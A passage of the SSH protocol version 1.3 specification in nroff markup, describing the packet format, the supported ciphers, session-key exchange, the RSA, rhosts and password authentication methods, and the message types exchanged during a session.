routing, and DNS spoofing). +New authentication methods: .rhosts together with RSA [RSA] based host +authentication, and pure RSA authentication. +.IP o +All communications are automatically and transparently encrypted. +Encryption is also used to protect integrity. +.IP o +X11 connection forwarding provides secure X11 sessions. +.IP o +Arbitrary TCP/IP ports can be redirected over the encrypted channel +in both directions. +.IP o +Client RSA-authenticates the server machine in the beginning of every +connection to prevent trojan horses (by routing or DNS spoofing) and +man-in-the-middle attacks, and the server RSA-authenticates the client +machine before accepting .rhosts or /etc/hosts.equiv authentication +(to prevent DNS, routing, or IP spoofing). +.IP o +An authentication agent, running in the user's local workstation or +laptop, can be used to hold the user's RSA authentication keys. +.RT + +The goal has been to make the software as easy to use as possible for +ordinary users. The protocol has been designed to be as secure as +possible while making it possible to create implementations that +are easy to use and install. The sample implementation has a number +of convenient features that are not described in this document as they +are not relevant for the protocol. + + +.ti 0 +Overview of the Protocol + +The software consists of a server program running on a server machine, +and a client program running on a client machine (plus a few auxiliary +programs). The machines are connected by an insecure IP [RFC0791] +network (that can be monitored, tampered with, and spoofed by hostile +parties). + +A connection is always initiated by the client side. The server +listens on a specific port waiting for connections. Many clients may +connect to the same server machine. + +The client and the server are connected via a TCP/IP [RFC0793] socket +that is used for bidirectional communication. Other types of +transport can be used but are currently not defined. + +When the client connects the server, the server accepts the connection +and responds by sending back its version identification string. The +client parses the server's identification, and sends its own +identification. The purpose of the identification strings is to +validate that the connection was to the correct port, declare the +protocol version number used, and to declare the software version used +on each side (for debugging purposes). The identification strings are +human-readable. If either side fails to understand or support the +other side's version, it closes the connection. + +After the protocol identification phase, both sides switch to a packet +based binary protocol. The server starts by sending its host key +(every host has an RSA key used to authenticate the host), server key +(an RSA key regenerated every hour), and other information to the +client. The client then generates a 256 bit session key, encrypts it +using both RSA keys (see below for details), and sends the encrypted +session key and selected cipher type to the server. Both sides then +turn on encryption using the selected algorithm and key. The server +sends an encrypted confirmation message to the client. + +The client then authenticates itself using any of a number of +authentication methods. The currently supported authentication +methods are .rhosts or /etc/hosts.equiv authentication (disabled by +default), the same with RSA-based host authentication, RSA +authentication, and password authentication. + +After successful authentication, the client makes a number of requests +to prepare for the session. Typical requests include allocating a +pseudo tty, starting X11 [X11] or TCP/IP port forwarding, starting +authentication agent forwarding, and executing the shell or a command. + +When a shell or command is executed, the connection enters interactive +session mode. In this mode, data is passed in both directions, +new forwarded connections may be opened, etc. The interactive session +normally terminates when the server sends the exit status of the +program to the client. + + +The protocol makes several reservations for future extensibility. +First of all, the initial protocol identification messages include the +protocol version number. Second, the first packet by both sides +includes a protocol flags field, which can be used to agree on +extensions in a compatible manner. Third, the authentication and +session preparation phases work so that the client sends requests to +the server, and the server responds with success or failure. If the +client sends a request that the server does not support, the server +simply returns failure for it. This permits compatible addition of +new authentication methods and preparation operations. The +interactive session phase, on the other hand, works asynchronously and +does not permit the use of any extensions (because there is no easy +and reliable way to signal rejection to the other side and problems +would be hard to debug). Any compatible extensions to this phase must +be agreed upon during any of the earlier phases. + +.ti 0 +The Binary Packet Protocol + +After the protocol identification strings, both sides only send +specially formatted packets. The packet layout is as follows: +.IP o +Packet length: 32 bit unsigned integer, coded as four 8-bit bytes, msb +first. Gives the length of the packet, not including the length field +and padding. The maximum length of a packet (not including the length +field and padding) is 262144 bytes. +.IP o +Padding: 1-8 bytes of random data (or zeroes if not encrypting). The +amount of padding is (8 - (length % 8)) bytes (where % stands for the +modulo operator). The rationale for always having some random padding +at the beginning of each packet is to make known plaintext attacks +more difficult. +.IP o +Packet type: 8-bit unsigned byte. The value 255 is reserved for +future extension. +.IP o +Data: binary data bytes, depending on the packet type. The number of +data bytes is the "length" field minus 5. +.IP o +Check bytes: 32-bit crc, four 8-bit bytes, msb first. The crc is the +Cyclic Redundancy Check, with the polynomial 0xedb88320, of the +Padding, Packet type, and Data fields. The crc is computed before +any encryption. +.RT + +The packet, except for the length field, may be encrypted using any of +a number of algorithms. The length of the encrypted part (Padding + +Type + Data + Check) is always a multiple of 8 bytes. Typically the +cipher is used in a chained mode, with all packets chained together as +if it was a single data stream (the length field is never included in +the encryption process). Details of encryption are described below. + +When the session starts, encryption is turned off. Encryption is +enabled after the client has sent the session key. The encryption +algorithm to use is selected by the client. + + +.ti 0 +Packet Compression + +If compression is supported (it is an optional feature, see +SSH_CMSG_REQUEST_COMPRESSION below), the packet type and data fields +of the packet are compressed using the gzip deflate algorithm [GZIP]. +If compression is in effect, the packet length field indicates the +length of the compressed data, plus 4 for the crc. The amount of +padding is computed from the compressed data, so that the amount of +data to be encrypted becomes a multiple of 8 bytes. + +When compressing, the packets (type + data portions) in each direction +are compressed as if they formed a continuous data stream, with only the +current compression block flushed between packets. This corresponds +to the GNU ZLIB library Z_PARTIAL_FLUSH option. The compression +dictionary is not flushed between packets. The two directions are +compressed independently of each other. + + +.ti 0 +Packet Encryption + +The protocol supports several encryption methods. During session +initialization, the server sends a bitmask of all encryption methods +that it supports, and the client selects one of these methods. The +client also generates a 256-bit random session key (32 8-bit bytes) and +sends it to the server. + +The encryption methods supported by the current implementation, and +their codes are: +.TS +center; +l r l. +SSH_CIPHER_NONE 0 No encryption +SSH_CIPHER_IDEA 1 IDEA in CFB mode +SSH_CIPHER_DES 2 DES in CBC mode +SSH_CIPHER_3DES 3 Triple-DES in CBC mode +SSH_CIPHER_TSS 4 An experimental stream cipher +SSH_CIPHER_RC4 5 RC4 +.TE + +All implementations are required to support SSH_CIPHER_DES and +SSH_CIPHER_3DES. Supporting SSH_CIPHER_IDEA, SSH_CIPHER_RC4, and +SSH_CIPHER_NONE is recommended. Support for SSH_CIPHER_TSS is +optional (and it is not described in this document). Other ciphers +may be added at a later time; support for them is optional. + +For encryption, the encrypted portion of the packet is considered a +linear byte stream. The length of the stream is always a multiple of +8. The encrypted portions of consecutive packets (in the same +direction) are encrypted as if they were a continuous buffer (that is, +any initialization vectors are passed from the previous packet to the +next packet). Data in each direction is encrypted independently. +.IP SSH_CIPHER_DES +The key is taken from the first 8 bytes of the session key. The least +significant bit of each byte is ignored. This results in 56 bits of +key data. DES [DES] is used in CBC mode. The iv (initialization vector) is +initialized to all zeroes. +.IP SSH_CIPHER_3DES +The variant of triple-DES used here works as follows: there are three +independent DES-CBC ciphers, with independent initialization vectors. +The data (the whole encrypted data stream) is first encrypted with the +first cipher, then decrypted with the second cipher, and finally +encrypted with the third cipher. All these operations are performed +in CBC mode. + +The key for the first cipher is taken from the first 8 bytes of the +session key; the key for the next cipher from the next 8 bytes, and +the key for the third cipher from the following 8 bytes. All three +initialization vectors are initialized to zero. + +(Note: the variant of 3DES used here differs from some other +descriptions.) +.IP SSH_CIPHER_IDEA +The key is taken from the first 16 bytes of the session key. IDEA +[IDEA] is used in CFB mode. The initialization vector is initialized +to all zeroes. +.IP SSH_CIPHER_TSS +All 32 bytes of the session key are used as the key. + +There is no reference available for the TSS algorithm; it is currently +only documented in the sample implementation source code. The +security of this cipher is unknown (but it is quite fast). The cipher +is basically a stream cipher that uses MD5 as a random number +generator and takes feedback from the data. +.IP SSH_CIPHER_RC4 +The first 16 bytes of the session key are used as the key for the +server to client direction. The remaining 16 bytes are used as the +key for the client to server direction. This gives independent +128-bit keys for each direction. + +This algorithm is the alleged RC4 cipher posted to the Usenet in 1995. +It is widely believed to be equivalent with the original RSADSI RC4 +cipher. This is a very fast algorithm. +.RT + + +.ti 0 +Data Type Encodings + +The Data field of each packet contains data encoded as described in +this section. There may be several data items; each item is coded as +described here, and their representations are concatenated together +(without any alignment or padding). + +Each data type is stored as follows: +.IP "8-bit byte" +The byte is stored directly as a single byte. +.IP "32-bit unsigned integer" +Stored in 4 bytes, msb first. +.IP "Arbitrary length binary string" +First 4 bytes are the length of the string, msb first (not including +the length itself). The following "length" bytes are the string +value. There are no terminating null characters. +.IP "Multiple-precision integer" +First 2 bytes are the number of bits in the integer, msb first (for +example, the value 0x00012345 would have 17 bits). The value zero has +zero bits. It is permissible that the number of bits be larger than the +real number of bits. + +The number of bits is followed by (bits + 7) / 8 bytes of binary data, +msb first, giving the value of the integer. +.RT + + +.ti 0 +TCP/IP Port Number and Other Options + +The server listens for connections on TCP/IP port 22. + +The client may connect the server from any port. However, if the +client wishes to use any form of .rhosts or /etc/hosts.equiv +authentication, it must connect from a privileged port (less than +1024). + +For the IP Type of Service field [RFC0791], it is recommended that +interactive sessions (those having a user terminal or forwarding X11 +connections) use the IPTOS_LOWDELAY, and non-interactive connections +use IPTOS_THROUGHPUT. + +It is recommended that keepalives are used, because otherwise programs +on the server may never notice if the other end of the connection is +rebooted. + + +.ti 0 +Protocol Version Identification + +After the socket is opened, the server sends an identification string, +which is of the form +"SSH-.-\\n", where + and are integers and specify the +protocol version number (not software distribution version). + is server side software version string (max 40 characters); +it is not interpreted by the remote side but may be useful for +debugging. + +The client parses the server's string, and sends a corresponding +string with its own information in response. If the server has lower +version number, and the client contains special code to emulate it, +the client responds with the lower number; otherwise it responds with +its own number. The server then compares the version number the +client sent with its own, and determines whether they can work +together. The server either disconnects, or sends the first packet +using the binary packet protocol and both sides start working +according to the lower of the protocol versions. + +By convention, changes which keep the protocol compatible with +previous versions keep the same major protocol version; changes that +are not compatible increment the major version (which will hopefully +never happen). The version described in this document is 1.3. + +The client will + +.ti 0 +Key Exchange and Server Host Authentication + +The first message sent by the server using the packet protocol is +SSH_SMSG_PUBLIC_KEY. It declares the server's host key, server public +key, supported ciphers, supported authentication methods, and flags +for protocol extensions. It also contains a 64-bit random number +(cookie) that must be returned in the client's reply (to make IP +spoofing more difficult). No encryption is used for this message. + +Both sides compute a session id as follows. The modulus of the server +key is interpreted as a byte string (without explicit length field, +with minimum length able to hold the whole value), most significant +byte first. This string is concatenated with the server host key +interpreted the same way. Additionally, the cookie is concatenated +with this. Both sides compute MD5 of the resulting string. The +resulting 16 bytes (128 bits) are stored by both parties and are +called the session id. + +The client responds with a SSH_CMSG_SESSION_KEY message, which +contains the selected cipher type, a copy of the 64-bit cookie sent by +the server, client's protocol flags, and a session key encrypted +with both the server's host key and server key. No encryption is used +for this message. + +The session key is 32 8-bit bytes (a total of 256 random bits +generated by the client). The client first xors the 16 bytes of the +session id with the first 16 bytes of the session key. The resulting +string is then encrypted using the smaller key (one with smaller +modulus), and the result is then encrypted using the other key. The +number of bits in the public modulus of the two keys must differ by at +least 128 bits. + +At each encryption step, a multiple-precision integer is constructed +from the data to be encrypted as follows (the integer is here +interpreted as a sequence of bytes, msb first; the number of bytes is +the number of bytes needed to represent the modulus). + +The most significant byte (which is only partial as the value must be +less than the public modulus, which is never a power of two) is zero. + +The next byte contains the value 2 (which stands for public-key +encrypted data in the PKCS standard [PKCS#1]). Then, there are +non-zero random bytes to fill any unused space, a zero byte, and the +data to be encrypted in the least significant bytes, the last byte of +the data in the least significant byte. + +This algorithm is used twice. First, it is used to encrypt the 32 +random bytes generated by the client to be used as the session key +(xored by the session id). This value is converted to an integer as +described above, and encrypted with RSA using the key with the smaller +modulus. The resulting integer is converted to a byte stream, msb +first. This byte stream is padded and encrypted identically using the +key with the larger modulus. + +After the client has sent the session key, it starts to use the +selected algorithm and key for decrypting any received packets, and +for encrypting any sent packets. Separate ciphers are used for +different directions (that is, both directions have separate +initialization vectors or other state for the ciphers). + +When the server has received the session key message, and has turned +on encryption, it sends a SSH_SMSG_SUCCESS message to the client. + +The recommended size of the host key is 1024 bits, and 768 bits for +the server key. The minimum size is 512 bits for the smaller key. + + +.ti 0 +Declaring the User Name + +The client then sends a SSH_CMSG_USER message to the server. This +message specifies the user name to log in as. + +The server validates that such a user exists, checks whether +authentication is needed, and responds with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. SSH_SMSG_SUCCESS indicates that no authentication +is needed for this user (no password), and authentication phase has +now been completed. SSH_SMSG_FAILURE indicates that authentication is +needed (or the user does not exist). + +If the user does not exist, it is recommended that this returns +failure, but the server keeps reading messages from the client, and +responds to any messages (except SSH_MSG_DISCONNECT, SSH_MSG_IGNORE, +and SSH_MSG_DEBUG) with SSH_SMSG_FAILURE. This way the client cannot +be certain whether the user exists. + + +.ti 0 +Authentication Phase + +Provided the server didn't immediately accept the login, an +authentication exchange begins. The client sends messages to the +server requesting different types of authentication in arbitrary order as +many times as desired (however, the server may close the connection +after a timeout). The server always responds with SSH_SMSG_SUCCESS if +it has accepted the authentication, and with SSH_SMSG_FAILURE if it has +denied authentication with the requested method or it does not +recognize the message. Some authentication methods cause an exchange +of further messages before the final result is sent. The +authentication phase ends when the server responds with success. + +The recommended value for the authentication timeout (timeout before +disconnecting if no successful authentication has been made) is 5 +minutes. + +The following authentication methods are currently supported: +.TS +center; +l r l. +SSH_AUTH_RHOSTS 1 .rhosts or /etc/hosts.equiv +SSH_AUTH_RSA 2 pure RSA authentication +SSH_AUTH_PASSWORD 3 password authentication +SSH_AUTH_RHOSTS_RSA 4 .rhosts with RSA host authentication +.TE +.IP SSH_AUTH_RHOSTS + +This is the authentication method used by rlogin and rsh [RFC1282]. + +The client sends SSH_CMSG_AUTH_RHOSTS with the client-side user name +as an argument. + +The server checks whether to permit authentication. On UNIX systems, +this is usually done by checking /etc/hosts.equiv, and .rhosts in the +user's home directory. The connection must come from a privileged +port. + +It is recommended that the server checks that there are no IP options +(such as source routing) specified for the socket before accepting +this type of authentication. The client host name should be +reverse-mapped and then forward mapped to ensure that it has the +proper IP-address. + +This authentication method trusts the remote host (root on the remote +host can pretend to be any other user on that host), the name +services, and partially the network: anyone who can see packets coming +out from the server machine can do IP-spoofing and pretend to be any +machine; however, the protocol prevents blind IP-spoofing (which used +to be possible with rlogin). + +Many sites probably want to disable this authentication method because +of the fundamental insecurity of conventional .rhosts or +/etc/hosts.equiv authentication when faced with spoofing. It is +recommended that this method not be supported by the server by +default. +.IP SSH_AUTH_RHOSTS_RSA + +In addition to conventional .rhosts and hosts.equiv authentication, +this method additionally requires that the client host be +authenticated using RSA. + +The client sends SSH_CMSG_AUTH_RHOSTS_RSA specifying the client-side +user name, and the public host key of the client host. + +The server first checks if normal .rhosts or /etc/hosts.equiv +authentication would be accepted, and if not, responds with +SSH_SMSG_FAILURE. Otherwise, it checks whether it knows the host key +for the client machine (using the same name for the host that was used +for checking the .rhosts and /etc/hosts.equiv files). If it does not +know the RSA key for the client, access is denied and SSH_SMSG_FAILURE +is sent. + +If the server knows the host key of the client machine, it verifies +that the given host key matches that known for the client. If not, +access is denied and SSH_SMSG_FAILURE is sent. + +The server then sends a SSH_SMSG_AUTH_RSA_CHALLENGE message containing +an encrypted challenge for the client. The challenge is 32 8-bit +random bytes (256 bits). When encrypted, the highest (partial) byte +is left as zero, the next byte contains the value 2, the following are +non-zero random bytes, followed by a zero byte, and the challenge put +in the remaining bytes. This is then encrypted using RSA with the +client host's public key. (The padding and encryption algorithm is +the same as that used for the session key.) + +The client decrypts the challenge using its private host key, +concatenates this with the session id, and computes an MD5 checksum +of the resulting 48 bytes. The MD5 output is returned as 16 bytes in +a SSH_CMSG_AUTH_RSA_RESPONSE message. (MD5 is used to deter chosen +plaintext attacks against RSA; the session id binds it to a specific +session). + +The server verifies that the MD5 of the decrypted challenge returned by +the client matches that of the original value, and sends SSH_SMSG_SUCCESS if +so. Otherwise it sends SSH_SMSG_FAILURE and refuses the +authentication attempt. + +This authentication method trusts the client side machine in that root +on that machine can pretend to be any user on that machine. +Additionally, it trusts the client host key. The name and/or IP +address of the client host is only used to select the public host key. +The same host name is used when scanning .rhosts or /etc/hosts.equiv +and when selecting the host key. It would in principle be possible to +eliminate the host name entirely and substitute it directly by the +host key. IP and/or DNS [RFC1034] spoofing can only be used +to pretend to be a host for which the attacker has the private host +key. +.IP SSH_AUTH_RSA + +The idea behind RSA authentication is that the server recognizes the +public key offered by the client, generates a random challenge, and +encrypts the challenge with the public key. The client must then +prove that it has the corresponding private key by decrypting the +challenge. + +The client sends SSH_CMSG_AUTH_RSA with public key modulus (n) as an +argument. + +The server may respond immediately with SSH_SMSG_FAILURE if it does +not permit authentication with this key. Otherwise it generates a +challenge, encrypts it using the user's public key (stored on the +server and identified using the modulus), and sends +SSH_SMSG_AUTH_RSA_CHALLENGE with the challenge (mp-int) as an +argument. + +The challenge is 32 8-bit random bytes (256 bits). When encrypted, +the highest (partial) byte is left as zero, the next byte contains the +value 2, the following are non-zero random bytes, followed by a zero +byte, and the challenge put in the remaining bytes. This is then +encrypted with the public key. (The padding and encryption algorithm +is the same as that used for the session key.) + +The client decrypts the challenge using its private key, concatenates +it with the session id, and computes an MD5 checksum of the resulting +48 bytes. The MD5 output is returned as 16 bytes in a +SSH_CMSG_AUTH_RSA_RESPONSE message. (Note that the MD5 is necessary +to avoid chosen plaintext attacks against RSA; the session id binds it +to a specific session.) + +The server verifies that the MD5 of the decrypted challenge returned +by the client matches that of the original value, and sends +SSH_SMSG_SUCCESS if so. Otherwise it sends SSH_SMSG_FAILURE and +refuses the authentication attempt. + +This authentication method does not trust the remote host, the +network, name services, or anything else. Authentication is based +solely on the possession of the private identification keys. Anyone +in possession of the private keys can log in, but nobody else. + +The server may have additional requirements for a successful +authentiation. For example, to limit damage due to a compromised RSA +key, a server might restrict access to a limited set of hosts. +.IP SSH_AUTH_PASSWORD + +The client sends a SSH_CMSG_AUTH_PASSWORD message with the plain text +password. (Note that even though the password is plain text inside +the message, it is normally encrypted by the packet mechanism.) + +The server verifies the password, and sends SSH_SMSG_SUCCESS if +authentication was accepted and SSH_SMSG_FAILURE otherwise. + +Note that the password is read from the user by the client; the user +never interacts with a login program. + +This authentication method does not trust the remote host, the +network, name services or anything else. Authentication is based +solely on the possession of the password. Anyone in possession of the +password can log in, but nobody else. +.RT + +.ti 0 +Preparatory Operations + +After successful authentication, the server waits for a request from +the client, processes the request, and responds with SSH_SMSG_SUCCESS +whenever a request has been successfully processed. If it receives a +message that it does not recognize or it fails to honor a request, it +returns SSH_SMSG_FAILURE. It is expected that new message types might +be added to this phase in future. + +The following messages are currently defined for this phase. +.IP SSH_CMSG_REQUEST_COMPRESSION +Requests that compression be enabled for this session. A +gzip-compatible compression level (1-9) is passed as an argument. +.IP SSH_CMSG_REQUEST_PTY +Requests that a pseudo terminal device be allocated for this session. +The user terminal type and terminal modes are supplied as arguments. +.IP SSH_CMSG_X11_REQUEST_FORWARDING +Requests forwarding of X11 connections from the remote machine to the +local machine over the secure channel. Causes an internet-domain +socket to be allocated and the DISPLAY variable to be set on the server. +X11 authentication data is automatically passed to the server, and the +client may implement spoofing of authentication data for added +security. The authentication data is passed as arguments. +.IP SSH_CMSG_PORT_FORWARD_REQUEST +Requests forwarding of a TCP/IP port on the server host over the +secure channel. What happens is that whenever a connection is made to +the port on the server, a connection will be made from the client end +to the specified host/port. Any user can forward unprivileged ports; +only the root can forward privileged ports (as determined by +authentication done earlier). +.IP SSH_CMSG_AGENT_REQUEST_FORWARDING +Requests forwarding of the connection to the authentication agent. +.IP SSH_CMSG_EXEC_SHELL +Starts a shell (command interpreter) for the user, and moves into +interactive session mode. +.IP SSH_CMSG_EXEC_CMD +Executes the given command (actually " -c " or +equivalent) for the user, and moves into interactive session mode. +.RT + + +.ti 0 +Interactive Session and Exchange of Data + +During the interactive session, any data written by the shell or +command running on the server machine is forwarded to stdin or +stderr on the client machine, and any input available from stdin on +the client machine is forwarded to the program on the server machine. + +All exchange is asynchronous; either side can send at any time, and +there are no acknowledgements (TCP/IP already provides reliable +transport, and the packet protocol protects against tampering or IP +spoofing). + +When the client receives EOF from its standard input, it will send +SSH_CMSG_EOF; however, this in no way terminates the exchange. The +exchange terminates and interactive mode is left when the server sends +SSH_SMSG_EXITSTATUS to indicate that the client program has +terminated. Alternatively, either side may disconnect at any time by +sending SSH_MSG_DISCONNECT or closing the connection. + +The server may send any of the following messages: +.IP SSH_SMSG_STDOUT_DATA +Data written to stdout by the program running on the server. The data +is passed as a string argument. The client writes this data to +stdout. +.IP SSH_SMSG_STDERR_DATA +Data written to stderr by the program running on the server. The data +is passed as a string argument. The client writes this data to +stderr. (Note that if the program is running on a tty, it is not +possible to separate stdout and stderr data, and all data will be sent +as stdout data.) +.IP SSH_SMSG_EXITSTATUS +Indicates that the shell or command has exited. Exit status is passed +as an integer argument. This message causes termination of the +interactive session. +.IP SSH_SMSG_AGENT_OPEN +Indicates that someone on the server side is requesting a connection +to the authentication agent. The server-side channel number is passed +as an argument. The client must respond with either +SSH_CHANNEL_OPEN_CONFIRMATION or SSH_CHANNEL_OPEN_FAILURE. +.IP SSH_SMSG_X11_OPEN +Indicates that a connection has been made to the X11 socket on the +server side and should be forwarded to the real X server. An integer +argument indicates the channel number allocated for this connection on +the server side. The client should send back either +SSH_MSG_CHANNEL_OPEN_CONFIRMATION or SSH_MSG_CHANNEL_OPEN_FAILURE with +the same server side channel number. +.IP SSH_MSG_PORT_OPEN +Indicates that a connection has been made to a port on the server side +for which forwarding has been requested. Arguments are server side +channel number, host name to connect to, and port to connect to. The +client should send back either +SSH_MSG_CHANNEL_OPEN_CONFIRMATION or SSH_MSG_CHANNEL_OPEN_FAILURE with +the same server side channel number. +.IP SSH_MSG_CHANNEL_OPEN_CONFIRMATION +This is sent by the server to indicate that it has opened a connection +as requested in a previous message. The first argument indicates the +client side channel number, and the second argument is the channel number +that the server has allocated for this connection. +.IP SSH_MSG_CHANNEL_OPEN_FAILURE +This is sent by the server to indicate that it failed to open a +connection as requested in a previous message. The client-side +channel number is passed as an argument. The client will close the +descriptor associated with the channel and free the channel. +.IP SSH_MSG_CHANNEL_DATA +This packet contains data for a channel from the server. The first +argument is the client-side channel number, and the second argument (a +string) is the data. +.IP SSH_MSG_CHANNEL_CLOSE +This is sent by the server to indicate that whoever was in the other +end of the channel has closed it. The argument is the client side channel +number. The client will let all buffered data in the channel to +drain, and when ready, will close the socket, free the channel, and +send the server a SSH_MSG_CHANNEL_CLOSE_CONFIRMATION message for the +channel. +.IP SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +This is send by the server to indicate that a channel previously +closed by the client has now been closed on the server side as well. +The argument indicates the client channel number. The client frees +the channel. +.RT + +The client may send any of the following messages: +.IP SSH_CMSG_STDIN_DATA +This is data to be sent as input to the program running on the server. +The data is passed as a string. +.IP SSH_CMSG_EOF +Indicates that the client has encountered EOF while reading standard +input. The server will allow any buffered input data to drain, and +will then close the input to the program. +.IP SSH_CMSG_WINDOW_SIZE +Indicates that window size on the client has been changed. The server +updates the window size of the tty and causes SIGWINCH to be sent to +the program. The new window size is passed as four integer arguments: +row, col, xpixel, ypixel. +.IP SSH_MSG_PORT_OPEN +Indicates that a connection has been made to a port on the client side +for which forwarding has been requested. Arguments are client side +channel number, host name to connect to, and port to connect to. The +server should send back either SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE with the same client side channel number. +.IP SSH_MSG_CHANNEL_OPEN_CONFIRMATION +This is sent by the client to indicate that it has opened a connection +as requested in a previous message. The first argument indicates the +server side channel number, and the second argument is the channel +number that the client has allocated for this connection. +.IP SSH_MSG_CHANNEL_OPEN_FAILURE +This is sent by the client to indicate that it failed to open a +connection as requested in a previous message. The server side +channel number is passed as an argument. The server will close the +descriptor associated with the channel and free the channel. +.IP SSH_MSG_CHANNEL_DATA +This packet contains data for a channel from the client. The first +argument is the server side channel number, and the second argument (a +string) is the data. +.IP SSH_MSG_CHANNEL_CLOSE +This is sent by the client to indicate that whoever was in the other +end of the channel has closed it. The argument is the server channel +number. The server will allow buffered data to drain, and when ready, +will close the socket, free the channel, and send the client a +SSH_MSG_CHANNEL_CLOSE_CONFIRMATION message for the channel. +.IP SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +This is send by the client to indicate that a channel previously +closed by the server has now been closed on the client side as well. +The argument indicates the server channel number. The server frees +the channel. +.RT + +Any unsupported messages during interactive mode cause the connection +to be terminated with SSH_MSG_DISCONNECT and an error message. +Compatible protocol upgrades should agree about any extensions during +the preparation phase or earlier. + + +.ti 0 +Termination of the Connection + +Normal termination of the connection is always initiated by the server +by sending SSH_SMSG_EXITSTATUS after the program has exited. The +client responds to this message by sending SSH_CMSG_EXIT_CONFIRMATION +and closes the socket; the server then closes the socket. There are +two purposes for the confirmation: some systems may lose previously +sent data when the socket is closed, and closing the client side first +causes any TCP/IP TIME_WAIT [RFC0793] waits to occur on the client side, not +consuming server resources. + +If the program terminates due to a signal, the server will send +SSH_MSG_DISCONNECT with an appropriate message. If the connection is +closed, all file descriptors to the program will be closed and the +server will exit. If the program runs on a tty, the kernel sends it +the SIGHUP signal when the pty master side is closed. + +.ti 0 +Protocol Flags + +Both the server and the client pass 32 bits of protocol flags to the +other side. The flags are intended for compatible protocol extension; +the server first announces which added capabilities it supports, and +the client then sends the capabilities that it supports. + +The following flags are currently defined (the values are bit masks): +.IP "1 SSH_PROTOFLAG_SCREEN_NUMBER" +This flag can only be sent by the client. It indicates that the X11 +forwarding requests it sends will include the screen number. +.IP "2 SSH_PROTOFLAG_HOST_IN_FWD_OPEN" +If both sides specify this flag, SSH_SMSG_X11_OPEN and +SSH_MSG_PORT_OPEN messages will contain an additional field containing +a description of the host at the other end of the connection. +.RT + +.ti 0 +Detailed Description of Packet Types and Formats + +The supported packet types and the corresponding message numbers are +given in the following table. Messages with _MSG_ in their name may +be sent by either side. Messages with _CMSG_ are only sent by the +client, and messages with _SMSG_ only by the server. + +A packet may contain additional data after the arguments specified +below. Any such data should be ignored by the receiver. However, it +is recommended that no such data be stored without good reason. (This +helps build compatible extensions.) +.IP "0 SSH_MSG_NONE" +This code is reserved. This message type is never sent. +.IP "1 SSH_MSG_DISCONNECT" +.TS +; +l l. +string Cause of disconnection +.TE +This message may be sent by either party at any time. It causes the +immediate disconnection of the connection. The message is intended to +be displayed to a human, and describes the reason for disconnection. +.IP "2 SSH_SMSG_PUBLIC_KEY" +.TS +; +l l. +8 bytes anti_spoofing_cookie +32-bit int server_key_bits +mp-int server_key_public_exponent +mp-int server_key_public_modulus +32-bit int host_key_bits +mp-int host_key_public_exponent +mp-int host_key_public_modulus +32-bit int protocol_flags +32-bit int supported_ciphers_mask +32-bit int supported_authentications_mask +.TE +Sent as the first message by the server. This message gives the +server's host key, server key, protocol flags (intended for compatible +protocol extension), supported_ciphers_mask (which is the +bitwise or of (1 << cipher_number), where << is the left shift +operator, for all supported ciphers), and +supported_authentications_mask (which is the bitwise or of (1 << +authentication_type) for all supported authentication types). The +anti_spoofing_cookie is 64 random bytes, and must be sent back +verbatim by the client in its reply. It is used to make IP-spoofing +more difficult (encryption and host keys are the real defense against +spoofing). +.IP "3 SSH_CMSG_SESSION_KEY" +.TS +; +l l. +1 byte cipher_type (must be one of the supported values) +8 bytes anti_spoofing_cookie (must match data sent by the server) +mp-int double-encrypted session key +32-bit int protocol_flags +.TE +Sent by the client as the first message in the session. Selects the +cipher to use, and sends the encrypted session key to the server. The +anti_spoofing_cookie must be the same bytes that were sent by the +server. Protocol_flags is intended for negotiating compatible +protocol extensions. +.IP "4 SSH_CMSG_USER" +.TS +; +l l. +string user login name on server +.TE +Sent by the client to begin authentication. Specifies the user name +on the server to log in as. The server responds with SSH_SMSG_SUCCESS +if no authentication is needed for this user, or SSH_SMSG_FAILURE if +authentication is needed (or the user does not exist). [Note to the +implementator: the user name is of arbitrary size. The implementation +must be careful not to overflow internal buffers.] +.IP "5 SSH_CMSG_AUTH_RHOSTS" +.TS +; +l l. +string client-side user name +.TE +Requests authentication using /etc/hosts.equiv and .rhosts (or +equivalent mechanisms). This authentication method is normally +disabled in the server because it is not secure (but this is the +method used by rsh and rlogin). The server responds with +SSH_SMSG_SUCCESS if authentication was successful, and +SSH_SMSG_FAILURE if access was not granted. The server should check +that the client side port number is less than 1024 (a privileged +port), and immediately reject authentication if it is not. Supporting +this authentication method is optional. This method should normally +not be enabled in the server because it is not safe. (However, not +enabling this only helps if rlogind and rshd are disabled.) +.IP "6 SSH_CMSG_AUTH_RSA" +.TS +; +l l. +mp-int identity_public_modulus +.TE +Requests authentication using pure RSA authentication. The server +checks if the given key is permitted to log in, and if so, responds +with SSH_SMSG_AUTH_RSA_CHALLENGE. Otherwise, it responds with +SSH_SMSG_FAILURE. The client often tries several different keys in +sequence until one supported by the server is found. Authentication +is accepted if the client gives the correct response to the challenge. +The server is free to add other criteria for authentication, such as a +requirement that the connection must come from a certain host. Such +additions are not visible at the protocol level. Supporting this +authentication method is optional but recommended. +.IP "7 SSH_SMSG_AUTH_RSA_CHALLENGE" +.TS +; +l l. +mp-int encrypted challenge +.TE +Presents an RSA authentication challenge to the client. The challenge +is a 256-bit random value encrypted as described elsewhere in this +document. The client must decrypt the challenge using the RSA private +key, compute MD5 of the challenge plus session id, and send back the +resulting 16 bytes using SSH_CMSG_AUTH_RSA_RESPONSE. +.IP "8 SSH_CMSG_AUTH_RSA_RESPONSE" +.TS +; +l l. +16 bytes MD5 of decrypted challenge +.TE +This message is sent by the client in response to an RSA challenge. +The MD5 checksum is returned instead of the decrypted challenge to +deter known-plaintext attacks against the RSA key. The server +responds to this message with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. +.IP "9 SSH_CMSG_AUTH_PASSWORD" +.TS +; +l l. +string plain text password +.TE +Requests password authentication using the given password. Note that +even though the password is plain text inside the packet, the whole +packet is normally encrypted by the packet layer. It would not be +possible for the client to perform password encryption/hashing, +because it cannot know which kind of encryption/hashing, if any, the +server uses. The server responds to this message with +SSH_SMSG_SUCCESS or SSH_SMSG_FAILURE. +.IP "10 SSH_CMSG_REQUEST_PTY" +.TS +; +l l. +string TERM environment variable value (e.g. vt100) +32-bit int terminal height, rows (e.g., 24) +32-bit int terminal width, columns (e.g., 80) +32-bit int terminal width, pixels (0 if no graphics) (e.g., 480) +32-bit int terminal height, pixels (0 if no graphics) (e.g., 640) +n bytes tty 